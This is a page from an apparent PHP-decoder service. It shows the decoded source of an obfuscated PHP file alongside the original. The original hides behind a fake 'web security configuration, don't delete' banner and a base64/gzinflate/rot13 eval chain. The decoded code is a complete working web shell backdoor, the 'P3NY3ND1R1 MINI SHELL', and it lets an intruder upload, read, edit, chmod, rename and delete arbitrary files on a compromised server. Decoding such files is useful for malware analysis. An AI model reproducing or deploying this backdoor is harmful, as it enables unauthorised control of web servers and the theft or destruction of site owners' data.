Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php/***NOTICE!!!**WEB SECURITY CONFIGURATION**WEB BASE SECURITY**CONFIGURATION WEB FIREW..
Decoded Output download
set_time_limit(0);
error_reporting(0);
@ini_set('output_buffering',0);
@ini_set('display_errors',0);
@ini_set('max_execution_time',0);
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
?>
<!DOCTYPE HTML>
<HTML>
<HEAD>
<link rel="SHORTCUT ICON" href="http://instafolls5000.netii.net/act.png">
<link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
<title>..::P3NY3ND1R1 MINI SHELL::..</title>
<style>
body{
font-family: Iceland;
background-color: black;
color: yellow;
}
input[type=submit], input[type=file]{
background-color:transparent;
border-color: red;
color:yellow;
}
#content tr:hover{
background-color: green;
color: black ;
}
#content .first{
background-color: red;
color: black;
}
#content .first:hover{
background-color: red ;
color:yellow;
}
table{
border: 2px solid cyan ;
}
H1{
font-family: iceland;
}
a{
color: yellow;
text-decoration: underline;
}
a:hover{
color: lime;
text-shadow:0px 0px 2px black;
}
input,select,textarea{
border: 1px yellow solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center><font color="red"> {+} P3NY3ND1R1 MINI SHELL {+} <br> <font color="yellow"> {+} !!! MUNCRAT GAN, xD !!! {+}</H1></font></font>
<center><a href="?" style="border:2px solid red;width:80px;padding:0px 8px 0px 8px;">H O M E</a></font> <br><br>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php
$ip = $_SERVER['REMOTE_ADDR'] ;
echo "<b><font color='red'>Your IP: $ip (is recorded)</b></font>";
$server = $_SERVER['SERVER_SOFTWARE'];
echo "<br>Web Server: $server";
$php = @phpversion();
echo "<br><font color='red'>PHP Version: $php </font> ";
$kernel = php_uname() ;
echo "<br>System Kernel: $kernel</font>";
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<br><font color=red>$root@kuon69x:<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="lime">Terupload Unchh ;* </font><br />';
}else{
echo '<font color="red">Gagal Cok, Servernya kea <img src="http://c.fastcompany.net/asset_files/-/2014/11/11/4F4.gif" />
</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="Gasspoll" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo(' <textarea cols=80 rows=20 readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
//Eksekusi
}elseif(isset($_GET['option']) && $_POST['opt'] != 'apus'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
//Izin
if($_POST['opt'] == 'Chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="lime">Genti Permission Sukses.</font><br />';
}else{
echo '<font color="red">Genti Permission Gagal !!!</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="Chmod">
<input type="submit" value="Crott" />
</form>';
}elseif($_POST['opt'] == 'Rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="lime">Genti Nama Oke.</font><br />';
}else{
echo '<font color="red">Genti Nama Gagal. !!!</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="Rename">
<input type="submit" value="Genti" />
</form>';
}
//
elseif($_POST['opt'] == 'Edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="lime">Edit File Sukses.</font><br />';
}else{
echo '<font color="red">Edit File Error. !!!</font><br />';
}
fclose($fp);
}
//Edit
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="Edit">
<input type="submit" value="Crott" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'apus'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="lime">Apus Dir Gud.</font><br />';
}else{
echo '<font color="red">Apus Dir Error.</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="lime">Apus File Oke.</font><br />';
}else{
echo '<font color="red">Apus File Gagal. !!!</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Nama</center></td>
<td><center>Ukuran</center></td>
<td><center>Izin</center></td>
<td><center>Opsi</center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="lime">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"apus\">Apus</option>
<option value=\"Chmod\">Chmod</option>
<option value=\"Rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="lime">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"apus\">Apus</option>
<option value=\"Chmod\">Chmod</option>
<option value=\"Rename\">Rename</option>
<option value=\"Edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<center><br /><font color="red"> © 2018 P3NY3ND1R1 MINI SHELL | <font color="yellow"> Recoded Galerz Xhell Backdoor By Blacklist_Cyber</font></center>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>
Did this file decode correctly?
Original Code
<?php/***NOTICE!!!**WEB SECURITY CONFIGURATION**WEB BASE SECURITY**CONFIGURATION WEB FIREWALL**CONFIGURATION WEB PERMISSIONS**DON'T CHANGE THIS FILE!!**DON'T DELETE THIS FILE!!!**DON'T REMOVE THIS FILE!!!**DON'T EDIT THIS FILE!!!*/$val = "str_rot13";$val2 = "gzinflate";$ses = "str_rot13";$sec = "base64_decode";$session = "7RrbZdpV9t1I/oeOlo1gByNjPLNejMjYLtuZecoX4rgmMS5X0me3xiZPd6ALkcy/7zndLZBAEEJ3d562Koku534/jbK7wwQfYzkXg0fOJa82eFS7O4JFnw6oCHzKpTfRL3+WnhwAadX2UB6EfDAKx3BOAWHXShASyYI0Gg4UH7YGnlRCA/Ek4pBY30bCDcrujhxKJ6DQPJrIa/Bb6GbBBpMgrtZ3X2lqxj4VRDytSQan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Z0+GS026O05mYhHZRZjz2NvP4dsnjpxyPqxQsIubcmeM02szpYMnpIMcJDjNDVT4d5rgkm7nsL7ns57hcw9EX+pCgJTrFm7m1ltxNOWHv796fkEAGIsclS2UxS2K8mec/bTmcYzGzAHzy6ImFkxthRGOzhdJeE5vapI0BQx+bykSbhxr18RmoB4i6u0Z8e3VxMcXgySY10t6EZp4J0fkNadzC+A42WNx/vh2t59vRPCyx4+AZaRx5tOOtQtNxi8SDdNvR3H++Ha0SO/aNjnyLHRnOUtEOKmtVPaLEHZn/h/M/";eval($val($val2($ses($sec(($session))))));
Function Calls
gzinflate | 1 |
str_rot13 | 2 |
base64_decode | 1 |
Stats
MD5 | 807f30e7fd7b0c76b703d9a6e465311e |
Eval Count | 1 |
Decode Time | 104 ms |